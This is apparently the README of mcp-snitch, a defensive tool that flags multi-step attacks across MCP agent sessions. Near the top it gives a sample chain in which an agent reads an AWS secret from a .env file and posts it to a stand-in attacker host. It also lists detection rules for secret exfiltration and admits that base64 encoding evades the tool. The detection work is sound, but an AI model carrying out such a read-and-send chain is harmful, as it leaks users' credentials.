Find MCP attacks that only exist across a whole session, where every individual call is benign.
read_file /app/.env -> AWS_SECRET_ACCESS_KEY=wJalr...
http_post https://collector.evil.test/in -> body: wJalr...
Reading a config file is what that tool is for. Posting to a URL is what the other tool is for. Neither call is anomalous on its own, which is why a per-call scanner and a stateless gateway both let this through. The attack only exists in the relationship between the two.
The scanner space is full: Snyk Agent Scan, Cisco MCP Scanner, Docker MCP Gateway, Golf, mcp-sec-audit and others. Detection is also well benchmarked, with mcp-sec-audit reporting 100% on MCPTox and FlowGuard reporting zero false positives on two categories across 1,880 cases. Shipping another detector into that is pointless.
What none of them do is reason across a session:
- Scanners are point-in-time. An independent April 2026 audit measured roughly a 78% false-positive rate on signal-based MCP scanners, where only 6 of 27 detections were genuine.
- FlowGuard's own limitations exclude "long-term or cross-session behavior" and vulnerabilities depending on "complex multi-step interactions".
- Gateways are stateless by design. "A stateless proxy evaluates each request in isolation. It can't track that a request is step 3 of a 6-step workflow."
So the unserved class is the chain. This tool does one thing: it keeps the session, tracks where concrete values came from, and reports sequences.
pip install mcp-snitchZero dependencies in the core. Python 3.10+.
Analyse a recorded session, exit 1 on findings so it works as a CI gate:
mcp-snitch scan sessions.jsonl
mcp-snitch scan sessions.jsonl --allow 'api\.github\.com' --jsonWatch a live server by sitting in front of it. Traffic is relayed unchanged:
mcp-snitch proxy -- python -m your_mcp_server
mcp-snitch proxy --block -- python -m your_mcp_serverRecompute the published numbers yourself:
mcp-snitch eval
mcp-snitch eval --corpus corpora/holdout/sessions.jsonl --allow 'api\.github\.com'| Rule | Fires on | Default |
|---|---|---|
| MCPS001 | a secret read whose value later reaches an off-host destination | on |
| MCPS002 | content from an untrusted fetch becoming an argument to a privileged tool | on |
| MCPS003 | an enumerated value parameterising a privileged call | off, noisy |
| MCPS004 | one secret reaching more than one off-host destination | on |
| MCPS005 | a secret crossing from one MCP server's trust domain into another's | on |
Every rule requires a provenance flow as evidence. A read happening and a post happening later is not a finding; the same concrete value leaving the read and arriving at the post is. Findings carry OWASP LLM 2025 and 2026, OWASP Agentic and MITRE ATLAS identifiers, with both OWASP years tagged because the numbering moved in 2026.
| corpus | precision | recall |
|---|---|---|
| development, 10 attack + 10 benign | 100% (95% CI 70 to 100) | 90% (95% CI 60 to 98) |
| held-out, 4 attack + 4 benign, no allowlist | 75% (95% CI 30 to 95) | 75% (95% CI 30 to 95) |
| held-out, with allowlist | 100% (95% CI 44 to 100) | 75% (95% CI 30 to 95) |
The development corpus is the set the rules were tuned on, so its numbers are not a generalisation claim. On first contact with the held-out set, precision was 50%: it flagged an agent authenticating to a vendor API with its own token, a licence paragraph shared between two calls, and an ordinary deploy pipeline. Those three produced the allowlist, the rule that prose is not evidence, and MCPS003 being off by default.
One held-out attack is still missed and will stay missed: a secret base64-encoded before egress. Provenance is string matching, so any encoding between the read and the send breaks the link.
Both corpora ship in this repository. Every rate carries a Wilson interval because at twenty and eight sessions a bare percentage would overstate what they support.
Full list: docs/LIMITATIONS.md.
v0.1.0, alpha. The rules and the corpora are the real content; the proxy is a thin observer around them.
Apache-2.0